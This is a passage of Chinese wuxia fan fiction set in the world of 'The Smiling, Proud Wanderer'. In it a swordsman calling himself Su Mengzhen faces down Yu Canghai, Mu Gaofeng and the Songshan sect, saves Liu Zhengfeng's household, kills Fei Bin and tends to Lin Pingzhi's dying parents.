陈子云轻点了一下林平之的腋下,让他自然的放开了抓着刀的手,又一把扶住了他的身子,让他不管如何用力都不得跪下。 “跟资质无关,而是你不配,不配学这黄昏细雨红袖刀,当然这偌大的江湖也没有人配。” 陈子云这话没有丝毫的含蓄,而是当着众人的面说出来的,顿时引的不少人愤慨。 “什么?” 林平之更是一脸不信的看着陈子云,以为这位是在开他的玩笑,可当他看到对方如此严肃认真的神情,一种难以启齿的耻辱瞬间弥漫了他的心头。 什么苏大侠,这人跟着一路上辱他污他的那些人又有什么不一样,跟这杀人如麻的余沧海又有什么区别,这江湖没有本事就只能如此窝囊,林平之啊林平之你怎么还不明白。我一定要学得本事,我一定要报仇。 林平之低着头,他生怕自己现在狰狞的神色被人看到。 “《辟邪剑谱》,你这是辟邪剑法!” 从陈子云刀锋下逃得一命的余沧海不知怎么的,突然指着陈子云大声的喝道。 “什么?辟邪剑法?” 群雄所有的目光都打量着陈子云,眼里泛起了热切。 “余观主,怕是被这小辈气糊涂了,他明明使得是刀法,怎么就成了辟邪剑法!” 本来隐在一旁的木高峰此时嬉笑的插口到,他当然不是好心的为陈子云解围,只是他刚才与余沧海的对峙吃了小亏。相比于突然出现的陈子云,余沧海更是他针对的对象。 “不错,余观主,刘某虽然不才,可这刀法剑法还是能分的清的,这位苏少侠的刀法虽然阴柔了些,但绝不是剑法。” 刘正风道。 “不错,老道也认为是刀法。” 这说话的红脸道人便是泰山掌门,天门道长。 “贫尼也认为这位苏施主用的确实是一门刀法,而起似乎还有些我佛家的影子。” 定逸师太说道。 她说的倒是没错,虽然苏梦枕在这一路黄昏细雨红袖刀已经是自成一派,可终究是师承小寒山派的红袖神尼,底子里自然有几分佛家的宗旨。 “哼,在场的诸位又有谁见过真正的《辟邪剑谱》,谁知道这剑谱上录的到底是剑法还是刀法,古往今来假借名头办事的还少吗,说不准这就是福威镖局传出来的迷障,好让人弄不清。” 余沧海这话说得就实在是强词夺理了,谁人不知谁人不晓,当年福威镖局林远图的七十二路辟邪剑法的威风,竟然敢说那是刀法。 “况且,刀法,剑法易变,那行气运力的法门才是真东西,谁能知晓不是这小子得了林家的法门,为了掩人耳目故意练成了这刀法。 刚才这人不是说他欠了林家人人情要还吗,他如此的本事,偌大的福威镖局,除了这《辟邪剑谱》还有什么能让他欠下人情的?!” 余沧海这话说的,别说不知内情的众人,就是连陈子云也不由得暗暗叫好,难怪这家伙能当上一派之主,还是有几分急智的。 “大侠,苏大侠,你我两家是不是祖上的故交,若是如此,能否把这法门教给在下,在下依旧记得你大恩大德。” 林平之看着陈子云,神情迫切。 陈子云看着眼前这个乞丐摸样的小白脸,又看看余沧海那副得意的摸样,再加上众人若有所思的神色,不由得心里一阵嗤笑。 这就是所谓的江湖啊!真当是恶心着他了,所有人看到的都只是自身的利益,哪里有什么半分所谓的正派侠义。 听到自己手上可能掌握着《辟邪剑谱》就都想猫闻到鱼腥一样的凑上来,当真是丑态百出。 “哈哈哈哈,好一帮江湖中人,好一个名门正派,当真可笑。” 陈子云大笑一声,却觉得心里舒畅了不少。 “我说了,你不配,就是不配。” 陈子云看着林平之那还有些肮脏的脸,语气平淡的说道。 “你......” 林平之大恨,这人明明学了自家的《辟邪剑谱》,他只是委婉的要他传他心法,却也不答应,自然是愤恨之极。 陈子云不由得有些意兴阑珊,本来他就是为了救人还情而来,现在自己想救的人却是反而恨上了自己,真当是...... 走也,自己已经给了他一次机会,竟然不愿意自己帮着报仇,那就随他去吧.自己只是还人情,又不是来当林家的保姆的,管他今后是死是活。 可此时,陈子云要走,有的人却是不愿意了。 “等等,人可以走,将《辟邪剑谱》留下。” “余观主说的不错,竟然是这小驼子的东西,那老驼子我自然也要看上一眼,谁让我是他爷爷呢。” 余沧海跟木高峰却是一同拦在了陈子云面前,刚才还剑拔弩张的两人,此时却要为了一本《辟邪剑谱》同仇敌忾,真当是......可笑至极。 第十二章 保群玉 其实不止是他们两人,那些隐在人群里的,除了自持身份的天门跟定逸两人,都在虎视眈眈。 “三位,三位,且给刘某人几份薄面,几位今天都是刘某的贵客,万不可为了那虚无缥缈的事物,伤了彼此之间的和气。” 刘正风说着,旁边一些本来在四周维护秩序的弟子却已经围了上来。这位看着一副老好人模样的刘三爷可是衡山派如今真正的主事人,要是真把他当做寻常的富家翁对待那才是真的傻子。 “刘正风,你要与我青城派为敌?” 余沧海面色不善的看向刘正风,同时他带来的那些弟子也跟刘正风的弟子对峙开来,这场面稍一不对就可能刀兵相见。 “余观主此言差矣,不说这位苏少侠是不是真的学了《辟邪剑谱》,就算他学了,别人也没有逼着他交出了来的道理,我等正派中人怎能如此行事。” 天门道人涨着他那张红脸说道。 “天门道长说的不错,我们名门正派怎么能做出这种夺人传承的事情。余观主,你与身旁的这位木施主可不同,作为一派之掌,还望你不要失了身份。” 定逸却也是看在陈子云杀了田伯光给仪琳报了仇的份上仗义执言。 余沧海见五岳剑派其中三位大佬都向着陈子云说话,一时有些坐蜡了。本来他就是想借着《辟邪剑谱》的名头让人群起攻之,自己才有机会将这个姓苏的青年书生留下,好给自己的弟子出口恶气,可当下的场景...... “哈哈哈,好,终究还算有几个像点样的。” 陈子云大笑一声,随即双手一挥,一个转身人却已经上了院墙。 “好功夫。” 这样瞬息之间腾挪闪现的功夫着实又惊了众人一把,心想原来刚才那恒山小尼姑说这人身法如鬼似魅竟然是真的。 “各位明里的暗里的人都给听好,我苏梦枕既然欠了林家的人情,就要保他林平之在这衡山城不死。 要是谁有不同意的,那就问问这一个姓余的和那一个姓木,问问他们躲不躲的了我苏梦枕的黄昏细雨红袖刀。” 陈子云说完再次腾身,转瞬之间就消失在院墙之上。 众人吃惊于陈子云的胆大妄为,竟然敢当众恐吓,却又不知他后面半句话是什么意思,众人疑惑的看向余沧海与木高峰两人。 可当看到两人正惊惶的摸着自己喉头上,那不知道怎么出现的一条首尾相连的血线时,都是目瞪口呆。 原来在陈子云腾挪的瞬间,竟然在众人眼皮子底下已经出了一刀,而且这一刀分毫不差的割破了余沧海和木高峰两位高手的咽喉。 这样的速度,这样细微的控制,要是陈子云当时要了两人的性命怕也就是多用半分力气的事情。 “这人年纪轻轻,怎么会有如此可怕的武功,难道这人是黑木崖上的那位不成。” 人群里有人颤巍巍的说道。 “休要胡说,这人最多不过弱冠,黑木崖上那位成名的时候,这书生怕是还在吃奶呢。” “可这江湖上,除了那位,谁还有如此的本事。” 这一问倒是让所有人都沉默了,是啊,除了那位,怎么就出了这样的高手,还如此的年纪。 苏梦枕,苏梦枕,黄昏细雨红袖刀,这哪里是什么红袖刀,这简直就是夺命刀。 随即一个“夺命书生”的诨名就被惯在陈子云头上,夺命书生苏梦枕,呵呵! 陈子云走了,可他其实并没有走远,林平之既然已经扶不起,他自然要在林震南夫妇身上报答一番。就算最后救不了两人性命,也让他们死得安逸一些。 所以他就在刘府附近等着,他要盯着余沧海跟木高峰两人,他有些记不得明明是青城派抓了林震南夫妇,最后为什么又落到了木高峰手上,所以他只能用笨办法,跟着他们就是了。 没多久就见酒楼上那个见过一面的精怪女童,牵着仪琳小尼姑的手从刘府溜出来了。 陈子云也是疑惑,当时自己在回雁楼已经帮令狐冲挡下了那两个青城派的饭桶,没了那当胸的一剑,这家伙怎么还是被人带到群玉院疗伤去了。 随后又看到青城派的一个弟子,跟恒山派的一个小尼姑跟着仪琳他们也去了,陈子云只是端着手里的茶杯,没有在意。 直到余沧海急匆匆的从刘府出来,陈子云才起身跟了上去。 还没到地方,陈子云就已经闻到一阵阵浓郁的胭脂味,不由得皱皱眉头。这里的味道跟聚贤雅叙可没法比,这里就是一个赤裸裸的窑子,而不是聚贤雅叙那种上档次的青楼。 进了群玉院,不知道怎么的,余沧海却是跟定逸师太吵了起来,而没了田伯光,那青城子弟彭人杰,竟然还是死在了群玉院里。 陈子云一时想不明白其中的关卡。 直到听到刘正风要派弟子毁了这群玉院,他才不得不从屋顶现身阻止。 “刘三爷,还请手下留情。” “哦,原来苏少侠也在。” 刘正风有些惊讶,可随即又皱着眉头问道:“不知苏少侠为何要阻止刘某,这间妓院藏垢纳污,可不是什么善地,少侠年轻可不要被这里一时的女色给迷住了眼。” 刘正风显然是把陈子云当成来这里逛窑子的了,就连一旁的定逸师太也是对他侧目而视。 至于余沧海,他刚听到陈子云的声音就已经脚尖向外,随时准备跑路了。只是碍着自己的身份,不到万不得已不想做出有失身份的事情来才堪堪忍住的。 “苏某自然知道,这里不是什么好地方。只是圣人有云‘不教而杀谓之虐;不戒视成谓之暴;慢令致期谓之贼。’ 刘三爷作为这衡山城的东道主,自然也知道这里的姑娘多少不过都是一些可怜人。 三爷今天要是如此就毁了这里,少不得一个暴虐的名头,还不如广施善行劝这些姑娘从良,这群玉院自然就不拆而散了。” “这.....” 刘正风自然知道陈子云说的有些道理,但是这些流落风尘的女子,就算再可怜,哪里有资格让他这个衡山派的二把手去关心。 不由得看了一眼旁边的定逸师太和余沧海,余沧海此时正低着头浑然不觉刘正风询问的目光。 倒是定逸师太多少还有几分对这些风尘女子的同情心:“若是真的能叫这些浪荡女子去恶从善,刘三爷必然是功德一件。” 定逸师太到底是佛门出身,慈悲心总比一般的江湖人士多出几分。 “既然师太也如此认为,刘某自然从善如流。” “多谢刘三爷,苏某承你的情。” “苏少侠客气,比不得少侠宅心仁厚。” 陈子云朝着两位点点头,随即隐没了身形。 第十三章 金盆洗手 至于林平之被木高峰欺凌,他也是懒得管了,这小子的心里已经种下了黑暗的种子,不管有没有这一场压迫,黑化也不过是迟早的事情。 就算他现在出手相救也不一定讨的了好,一旦一个人对你产生了怀疑,根本不需要知道有没有做坏事,他自己就会找一些理由出来,让自己相信,你绝对做了,而且不止一件。 后期的岳灵珊不就是因为这些个有的没的,才被林平之杀的吗! 而且他也不想见岳不群,他怕一下子忍不住就结果了这个喜欢装成儒生的伪君子。 当然杀不杀他,陈子云并不在意,只是这货要是死了,那林平之就连华山这个最后可以暂时依靠的对象都没有了。 陈子云虽然不愿意再理睬这家伙了,可也不想对方就死在余沧海或者木高峰这类的货色手里。 索性眼不见为净,他只要跟着余沧海看看能不能找到林震南夫妇就好了。可也不知是不是因为他在群玉院现了身的原因,余沧海每次都疑神疑鬼的往四周查看。 也根本没有再去藏林震南夫妇的地方,反而是带着自己的弟子回了刘正风安排好的客栈休息,这让陈子云有些丧气。 ...... 第二天将近正午,陈子云施施然的跟着偌大的人流,来到了刘正风金盆洗手大会的现场。 随意在角落的位置找了一张桌子就坐了下来,也不知是不是因为昨天显了名头,总有些若有若无的目光飘过来,却又没人真的敢跟他同桌而坐。 陈子云自然不会去理会这些,一个人自顾自的享受着桌上的美味佳肴。至于中间发生的什么圣旨封参将的事情,陈子云也不过是不屑的一笑。 陈子云敢打赌,皇帝肯定连刘正风是谁都不知道,这圣旨也就是湖南省巡抚,收了足够的好处,帮打点了一下掌握着人事认命权利的大佬,把早就准备好的空白圣旨卖了一张给他而已。 说什么皇恩浩荡,除了那些真的科举殿试出身的文官,皇帝老子能认识几个。 后面看着嵩山派带人拦下了刘正风的金盆洗手,在厅里冠冕堂皇的说的什么正邪不两立的屁话,在陈子云眼里,所有的江湖人都可以收监问斩。 如今刘正风全家都落在了嵩山派手里,而刘正风自己却还在那里说什么祸不及家人的话。 都是出来混江湖的,哪里会有这么容易就摘身出去的。既然你的家人随你享受了昔日的荣光,此次你犯了错,这些既得利益者如何能不付出代价。 可看着那名为向大年的第子死在刘正风的怀里,那些家属更都是一番悲壮的摸样,陈子云终究不是那种冷血无情的人。 而且刘正风几次出言维护,又给自己面子没拆群玉院,此时也该还个人情给他了。 推开人群,在恍惚之间在刘家家眷与嵩山弟子之间转了一圈,随后才抬手对着陆柏几人道:“苏某正想收一些仆从下人,既然这些人反正都要死了,还不如跟我算了,算苏某欠嵩山一个人情。” “你是何人?” 陆柏心里大惊,他只是依稀看到一个残影在自己弟子之间一个来回,所有人便不动了。明显是被眼前的年轻书生给制住了穴道,这身法当真是诡异至极,不由得他不谨慎戒备。 丁勉此时走了上来,在陆柏的耳边说了一句。 “你就是那什么夺命书生,苏梦枕?” 嵩山派既然有如此大的动作,自然不可能不做准备工作,这刘府上下怕是已经被盯着好久了,昨天在这里发生的事情自然也逃不过他们的眼睛。 “苏梦枕是苏梦枕,不是什么夺命书生,这名号,我不喜欢。” 听到这么一个诨号,陈子云不由得皱起了眉头,那个穿着女装施展“面目全非脚”的形象出现在脑海,那可不是自己想要的。 “哼,我管你什么夺命书生,你真当要与我们五岳剑派为敌?” 陆柏自然不会把一个江湖上刚冒出来的小人物放在眼里。 “五岳剑派的事情,我不会管,也懒得管,不过这些人都是我的仆从,那自然归我管。” “话说八道,这些人明明都是刘府的人,怎么就成了你的仆从了。” 丁勉在一边喝问道。 “这有何难!” 陈子云拿出纸笔,当场就写出了一份契约,内容大致就是刘府这些人自愿成为他的仆从。 “愿意的就按个手印,只要按了手印,我就保你们性命。” 陈子云将契约先给刘正风看了一眼,随即就递给了他的那些门人子弟。 那些人自然是看向刘正风,可此时的刘正风已经知道自身难保了,也当然明白这苏梦枕明显是在帮他,怎么能不答应。 见他点头答应,刘府的弟子家眷也就纷纷在上面盖下了手印。 “可笑,你们以为难道这样粗劣的手段就能逃得一命吗,我现在怀疑你这个什么夺命书生也是魔教中人,给我杀。” 陆柏本来听丁勉的消息,觉得这个所谓的夺命书生手段不凡,还想用大势压他,可没想到对方根本不接招。 竟然如此那就让他跟刘府的人一起死吧,反正多杀一个也不差,至于消息上说这人能轻易制住余沧海跟木高峰。 想必是夸大其词,看着书生摸样不过二十,怎么会有这般的本事。而且就算他能赢得了余沧海、木高峰那种货色又如何,他们嵩山十三太保的本事,哪个不必那两个货色强。 一时间,嵩山派十三太保之三,费彬、丁勉、陆柏同时攻向陈子云,而且招招都是朝着他的要害打,这明显就是想要他的命了。 “住手。” 刘正风在一旁大喝,可如今谁还会听他的,想上去帮陈子云,也被其他的嵩山弟子给拦住了。 在场众人看着陈子云在嵩山派三大高手的围攻下还能游刃有余,都是大感惊讶,纷纷询问这年轻书生是谁,这些人显然都是昨天没来的。 余沧海、定逸师太跟天门道人这些见识过陈子云的风采的自然并不惊奇,而昨天错过了的岳不群只是听自己弟子提了一句,一开始也不认为这夺命书生会有多少功夫。 直到此刻他才明白,这世间原来真的有一些天才是一般人望尘莫及的存在,不由得手上的扇子也捏的更紧了。 第十四章 威慑群雄 “岳先生见多识广,你看这姓苏的书生的诡异身法,会不会是《辟邪剑谱》上的武功?” 余沧海是抓着机会就往陈子云身上泼脏水,他也是没办法,就想给陈子云多树一些敌人,最好是死在这里,省的自己担惊受怕坐卧不安。 “平之,你看着像吗?” 岳不群这老狐狸,又怎么会着了余沧海的道,反而是问了刚收为弟子的林平之道。 “禀师傅,要是说弟子家传的辟邪剑法,必然是没有这般迅捷的身法的,可也许是后人不孝没能体悟到剑法中的精髓,反而是被外人学去了,要是家父在此想来是能认的出的。” 林平之这回答也是别有心思,他虽然没有直说陈子云的身法是不是辟邪剑法里的,但隐约的暗示却已经肯定了,看来他是真的把陈子云给恨上了。 此言一出,在几人临近的江湖人看向陈子云的眼神变的热切了几人,心里都盘算着要是此刻帮着嵩山派的人拿下这个夺命书生,自己是不是也能一窥《辟邪剑谱》。 而余沧海跟岳不群则是都有些忌惮的看了林平之一眼,给对方打下了心机深沉的印子。 “哈哈哈,五岳盟主,嵩山太保,原来也不过如此。” 陈子云凭借瞬息千里的身法,连刀都没出就跟费彬几人周旋了十几招,此刻他在费彬几人眼里已经看到了恐惧。 知道害怕就好,陈子云此刻也知道,如果今天他想把这刘府的人带走,那这三人他就只能伤不能杀。 虽然现在五岳剑派其他几家只是站着看热闹,可一旦陈子云真的下了杀手,那这些人就是想不出手都不行了。 五岳剑派同气连枝,这话虽然在五派内部都知道这不过是句场面话,对当对外的时候,这句话就是他们五派在江湖上赖以生存的真理。 现在武林群雄都看着,要是他们其他几派的人,真的对嵩山派见死不救。 那就是自己打自己脸了,他们五岳剑派在江湖上的影响力肯定会急剧下降,这都不是他们想面对的。 “三十招已过,苏某可要出刀了。” 随着一声刀锋的轻吟,费彬三人心头大凉,本来他们对陈子云的身法已经是惊为天人了,可对方明显最擅长的还是刀法。 这刀法一出,他们三人哪里还有活命的机会。此刻也顾不得嵩山派的颜面,直接对五岳其他几派的人喊道:“岳师兄,定逸师太,天门道兄,还请诸位出手相助。” 可费彬这话最后一个“助”字还余音未销,就传来两声倒地尖叫之声“啊,啊。” 费彬心头一凉,因为他知道肯定是自己的师兄弟中刀了,但他却连刀的影子都没有看到。 随即脖子上传来的凉意让他知道,原来刀竟然已经在他的脖子上架着了,而那姓苏的夺命书生不知怎么的就到了他的背后。 “苏少侠,还请手下留情。” 最先出口的却是定逸师太,本来她还在犹豫,要不要听嵩山派的招呼出手,没想到转瞬之间这位苏梦枕却已经直接制住了嵩山派的三人。 震惊于对方功夫高明的同时,心里也是有些暗喜,对于嵩山派的强势,连老弱妇孺都不放过的行径,自然不被他速来刚正的性格所喜。 但是碍于自己同属五岳的份上,又不能明着的对抗盟主号令,而且她也自知,就算自己出手也决计不会是嵩山三大太保的对手。 如今既然苏梦枕一刀定音,自然是再好不过,此时她顺水推舟,救下这帮刘府的家眷子弟,也是功德一件。 “师太,我已经留情了,否则这位也应该躺地上。” 陈子云用刀背拍了拍费彬的脸,不在意的说道。 费彬对此羞辱也只能捏紧拳头咬碎了牙,看着地上捂着伤口起不了身的两位师兄弟,眼神凶的能杀人,可深藏着的恐惧同样能吓死人。 他们三人联手,就算是面对自己功夫已经修炼到高深莫测的大师兄左冷禅也决计不会这么狼狈,这个小怪物倒地是从哪里蹦出来了。 “苏少侠,还请把刀先放下,万事好商量。若是少侠与嵩山派的几位师兄有什么误会,岳某不才,愿意做个保人。” 岳不群虽然心里同样大为惊诧,但还是摆出一副坦然自若的君子摸样,对于陈子云这样的人,他当然是希望交好的。 不仅是因为陈子云大大落了嵩山派的面子,而是对于这样的高手,江湖上又有几人敢随意得罪的。 天门道人只是看着没有说话,而本来正准备看戏的余沧海此时已经退到了众人的后方,陈子云几乎快看不到他了。 陈子云看了看眼神闪躲的林平之,又看看卖相不差的岳不群说道:“岳先生,定逸师太,还有天门道长,苏某还是那句话,你们五岳剑派的事情,我不想管。但是我相信你们这些混江湖的,也不想自己将来被人抓着妻儿老小威胁吧。 今天刘正风既然犯了你们的忌讳,要杀要剐你们自己看着办,但是这一家妇孺子弟,竟然跟苏某签了契约,我自然要带他们走。 如果几位认这个理,那苏某今天就就此收刀,如果几位非要跟苏某拼个死活,那苏某相信在下的刀定不会让诸位失望。” 陈子云知道自己这时候不能软,一旦被人觉得你有丝毫的软弱,他们就会得寸进尺。 定逸师太表情严肃的点点头,天门道人对陈子云的咄咄逼人有些不喜,但也只是哼了一声。 岳不群开口道:“苏少侠的意思在下明白了,几位嵩山派的师兄,我们五岳剑派向来都是以正派自居。想来左盟主今天下令阻止刘师兄金盆洗手,也是为了保全这份得之不易的名义。 今天诸位携了刘府家眷也是不得已而为之,想必也不会真的对这些老弱出手,几位师兄是也不是?” 陈子云固然知道岳不群是在为嵩山派开脱,可也不得不赞他一句好心机,好言辞。 费彬此时也是听出了岳不群意思,而且此刻人为刀狙我为鱼肉,再强撑着又有什么用,倒不如留得有用之身,再找机会报复。 “是,岳师兄说的不错,左师兄的命令也是希望刘正风悬崖勒马,从未有过伤害他家小的意思。” “左师兄果然宅心仁厚,苏少侠既然误会已销,且把刀放下说话。” 岳不群微笑着对陈子云说道。 “哦,是吗?” 陈子云刀锋一转,贴着费彬的脸再次问道:“那我的这些仆从是不是可以走了?” “可以可以,苏少侠请便。” 费彬此时还能说什么,此刻只要陈子云刀锋一划自己立刻就得报销,就算有千万的不甘心也只能先藏着。 “既然嵩山派的几位太保大发慈悲饶了你们,你们还待在这里做什么,还不走?” 陈子云看着那些还在踌躇不定的刘府子弟喝道,可他们的眼神依旧只是看着刘正风,看来他这个一家之主当的还是合格的。 “走啊,还等什么,既然你们已经认了苏少侠为主,就再也不是刘府的人,与刘某也再无关系,刘某是生是死也与你们不再想干。” 刘正风此时也倒是明白,既然自己肯定走不了,还不如赶紧利落的将关系斩断,省的以后留下把柄给嵩山派再找麻烦。 众人见刘正风如此决绝只得掩面而泣,纷纷下跪给自己的丈夫、家主、父亲、师父磕头诀别,这一别怕是今生无望再相见。 刘正风侧着头挥手,不忍见到家人如此摸样,一些在场的女性江湖人也是感同身受,不忍相看。 第十五章 杀费彬 见众人已经出了刘府,岳不群又对这陈子云说道:“苏少侠,如今这刘府子弟也离开了,你看是不是也放了费师兄。” 陈子云看着他笑笑道:“岳先生在江湖上有君子剑的名号,按理说您的品格既然是江湖公认的,苏某也不得不信。可这江湖上像您这般的君子着实太少,而小人却又太多,咱们不妨等着刘府的众人走出了衡山城再说,你看如何?” “这......倒也无妨。” 岳不群心想,刀在你手上,他还能说什么。 “就是不知苏少侠要如何才能确认这些人是不是出了衡山城?” “这就不劳岳先生操心了,苏某自有办法。” 陈子云这话让所有人都泛起了嘀咕,心想难道这人还有同党不成,要不然他人在刘府,又怎么会知道府外的事情。 与众人的疑惑不同,此刻的刘正风对陈子云的感激之情已经无以复加,竟然直接就跪在了陈子云的面前,一磕到底。 “刘某虽无愧于心,却不想累及一家老小。今日苏少侠救我全府性命,刘正风此生无以为报,当在在幽冥地府为恩人磕首三千,但愿恩公能福泽延绵,刘正风来世相报。” 陈子云看着这个不该如何评说的人物也是无奈,知音难得,可为了一个知音却搭上了全家老小,怎么说也是个蠢货。 陈子云就在这么拿着刀,跟嵩山派的人僵持了许久,直到一个可爱的女童,从人群中露出脸来,朝着她眨了眨眼。 陈子云收刀入鞘,也不等众人反应,随即运转身法逃之夭夭。 众人明显都是一愣,没想到这刚才还持刀以待的夺命书生竟然干净利落的直接就溜了。 “刘正风,你该死啊。” 费彬此时满腔的羞愤与怒火自然只能朝着刘正风发了,毫不客气的一掌就当头拍了过去。 ...... 陈子云在刘府外不过等了片刻,就见一个黑衣人影带着刘正风那胖硕的身躯翻出了院墙。 陈子云并没有理会二人,这两个人死便死了,只是后面跟着来的那个小丫头,自己说不得要救上一救。不说别的,就看着刚才她敢送了刘府的人出城后又赶回来给自己报信,陈子云也要保她一命。 也不知道是不是曲洋跟刘正风两人知道自己大限将至,竟然在瀑布边开始弹琴吹箫,难道他们真的不知道嵩山派的人肯定会追上来吗。 这琴箫合奏倒是潇洒动听了,可这也不是把敌人引过来了吗,自己找死何必还要连累自己的孙女。 陈子云看着这两人就像是那些喝酒上头,完全沉浸在自己的世界里,全然不顾他们此刻的行为的醉汉,殊不知在旁人看来他们简直就是在发疯。 果然,费彬没多久就跟了上来,陈子云也懒得废话,更不想听他跟刘正风之间的扯东扯西。 这刘正风也是死到临头还摸不清状况,人家嵩山派摆明来就是灭你全家来的,怎么会放过这个跟他大有渊源的小丫头。 没等躲着的令狐冲仪琳,也不关心为什么莫大非要等这小丫头死了才出手,在费彬举起剑的瞬间,陈子云就直接从背后点了他的几处大穴。 至于为什么不一刀结果了他,陈子云只是没心思应付嵩山派之后的怀疑和追查,就算能拖一段时间也好。 在场的几人都吃惊也突然出现的陈子云,至于被制住的费彬更是圆目大睁,要不是连哑穴也被点了,他怕是要激动的喊出来。 “小丫头,黑血神针给我一根,要有毒的。” 陈子云伸手向已经回过神来笑嘻嘻的看着他的小丫头道,这小丫头的胆子确实大的离奇。 “哦,给你,大哥哥。” 曲非烟说着就从怀里掏出了一根黑的发亮的细针递给了陈子云。 “我要有毒的。” “这就是有毒啊,而且我还让爷爷放了双份的。” “有毒的,你贴身藏着?” “那又如何,反正我有解药。” 陈子云看着那张小脸上理所当然的摸样,一时竟然对着小妮子有了一丝佩服,佩服这个傻大胆的姑娘。 也不废话,直接就往费彬的颈动脉上扎了一针。 看着那双睁的快裂开眼角的眼睛,陈子云淡淡的说道:“知道为什么丁勉跟陆柏都被我砍伤了腿脚,而你却安然无事吗?” 费彬双眼充血,嘴唇乌青,蠕动的腮帮好似要对陈子云说些什么,可惜这辈子他是没希望开口了。 “还给你。” 陈子云把用过的黑血神针递还给曲非烟道。 “我不要,这人的血脏的很。” 曲非烟道。 陈子云随手就把黑血神针甩在了已经断气的费彬身上。 看着正又要给他下拜的将死之人,陈子云没有半点好气。此间事了,他可是还记得林震南夫妇好似就在这附近的庙宇里,随即也不跟他们打招呼,直接几个起落就运转身法走了。 “大哥哥,你跑什么啊!” 曲非烟鼓着小脸气哼哼的喊了一句。 “刘贤弟,这苏梦枕如此这般出力救你全家,是不是跟贤弟有故。” 曲洋见着飘然而去的陈子云问道。 “曲大哥,对于这位苏少侠我也十分不解,这般的年轻俊杰,却是我第一次相见。” 刘正风道。 “那他为何如此费力,甚至不惜得罪这声势正隆的嵩山派,如今还杀了费彬。” “小弟也是不解,要说来,也唯有昨日,这人请小弟不要拆了那衡山城中名为群玉院的一所妓院,说是承我的情,可这哪里又算的上什么人情。” “愚兄也琢磨不透,只是匆匆在回雁楼上见过一面,当时此人刀斩田伯光,只知道其刀法犀利,却不知为何牵扯到我们这场官司里。” “兴许,这便是这世间少有的奇男子吧,执一刀而天下惧,杀巨寇却不惜名。” ...... 陈子云没心思理会刘正风两人的疑惑,找了个最近的高处,登上之后便四处了望,不久便见到一座藏在树林中半破不旧的庙宇。 陈子云当下认准方向,跨步急奔而去,临近了就听到一些讯问拷打之声,自然知道这是有人在逼问林震南夫妇《辟邪剑谱》的下落。 陈子云也不管里面的人到底是谁,当即大喝一声:“木高峰,你找死。” 顺手折了几根树枝,待他能看到了那驼子的背影,就直接甩手将树枝打了过去。 第十六章 人情两清 只见那丑驼子,听到陈子云的声音已经是吓了一跳,昨天差点被陈子云一刀封喉,他怎么可能忘记这声音。 眼见陈子云挥手打出了什么东西,赶紧就地一滚,只听得嘟嘟嘟三声,庙宇的梁柱上就多了三根插入颇深的树枝。 木高峰看着狂奔而来的陈子云亡魂皆冒,哪里还顾得什么《辟邪剑谱》,再好的剑谱,没了性命还怎么练。 木高峰也不敢往陈子云正奔来的正门走,直接撞破了侧面的窗户,玩命似的跑进了树林。 陈子云一进庙,一边用福州的乡音打了个招呼,一边就捏住了林震南的脉门。 林震南夫妇看他如此行径,还以为是走了虎豹又来豺狼,直到陈子云直接抵住了林震南的后心给他断裂的心脉续命才稍稍明白此人是友非敌。 “这位少侠无需费心了,林某是不成了,听少侠也是乡亲,还不知少侠如何称呼?” 林震南这些时日遭受的折磨自然不会让他如此轻易就对一个陌生人放心。 “林总镖头无需担心,算来我们也是近邻,我来此不过是为了还你们林家一份人情。此刻令郎就在附近,还请总镖头坚持片刻,有什么要交代的,最好还是等令郎来了再说。” 陈子云话音刚落,一旁的林夫人就忍不住了。 “平之,平之他来了吗,敢问少侠,我儿平之如今如何了?” 陈子云犹豫了一下,决定还是将林平之大概的情况说给他们听一下,毕竟这两位怕是也没什么命好活了。 “林平之这一路也算是受尽了人间疾苦,与在你们保护之下的纨绔子弟相比,此时可以说是多了几分对这世界的认识。而且.....” “少侠,而且什么,是不是平之他受伤了,可有大碍?” 林夫人情绪激动的问道。 “这一路来,他想着如何救你们二人,受伤是在所难免的,不过如今他也拜在了华山门下,就是不知道是好是坏了。” 陈子云说道。 “少侠可是说真的,犬子竟然有幸拜在华山岳先生门下?” 也难怪林震南激动,毕竟华山和岳不群的名号在江湖上还是很唬人的。可惜啊,他们这种憧憬的人物,怎么会会知道这个伪君子的真面目。 陈子云此刻自然也不会对这将死之人说一些回天无力的话,要是他们一不小心影响了林平之对华山的态度,那就真的怕是死都不知道怎么死了。 “嗯。总镖头,还是少说话为妙,令郎就快来了。” 陈子云只是敷衍的答应了一句,没想到林震南听你到这个确切的答复之后,竟然连本来衰弱至极的心脉也强力了几分。 不过这也不是什么好事,只不过是回光返照罢了。 少许令狐冲依旧找了过来,只是看到陈子云正在给人疗伤,便有些踌躇,他刚才可是亲眼看到这人杀了嵩山费彬的。 虽然他不怎么看得起嵩山派的行径,可从小就收到岳不群的教诲,五岳剑派同气连枝更是在他心里扎根,要不然也不会拼了命的就仪琳。 可所以如今见到这个即杀了田伯光,又杀了嵩山费彬的苏梦枕,一时不知道要不要现身。 “令狐冲,这两位是林平之的父母,现在他们命在旦夕,还不赶紧将你林师弟找来。” 陈子云对着躲在庙外的令狐冲喝道。 “当真是林伯父,林伯母?” 令狐冲听得此二人便是自己师弟的父母,也赶紧出来拜见。 “这位就是如今华山派的大弟子,也是你们儿子的大师兄。” 陈子云给林震南夫妇解释了一句。 “令狐少侠,以后平之就请少侠多多关照了。” 林震南勉强的说了一句。 陈子云见令狐冲还在磨叽,便毫不客气的喝道:“还不快去找人,两位的性命就在片刻了,你要他们死不瞑目吗?” 令狐冲此时才是悚然,赶紧到门口去放了华山派的信号弹。 没到一会儿,岳不群便赶到了,先是见了令狐冲,随即看到庙里的三人不由得大惊。 主要是陈子云给他的印象亦正亦邪,完全不守规矩,也不把五岳剑派放在眼里,而且这人的武功偏偏高的出奇,让他不由得不忌惮。 “师父,这两位就是林师弟的父母,这位是苏梦枕苏少侠。” 令狐冲以为自己师父也不认识陈子云,就连忙介绍道。 “岳掌门,没想到咱们又见面了。” 陈子云倒是先开口了。 “岳某也没想到,苏少侠竟然还在衡山境内。” 岳不群却也是真的认为,这苏梦枕做下了如此大事,肯定是第一时间逃出衡山城才是。没想到竟然还敢在此逗留,也不知是艺高人胆大,还是不知数。 “师父,你认识苏兄?” 令狐冲此刻到反而疑惑了。 “冲儿,休得无礼,以苏少侠的修为,就算是为师也不敢自持身份,你当应以前辈论交。 恐怕过了今日,苏少侠的名头可就要天下闻名了。” 岳不群低低的点拨了令狐冲一句。 “师傅说的是,苏......少侠在回雁楼杀了那田伯光,为江湖除了一大害,自然应该名震天下。” 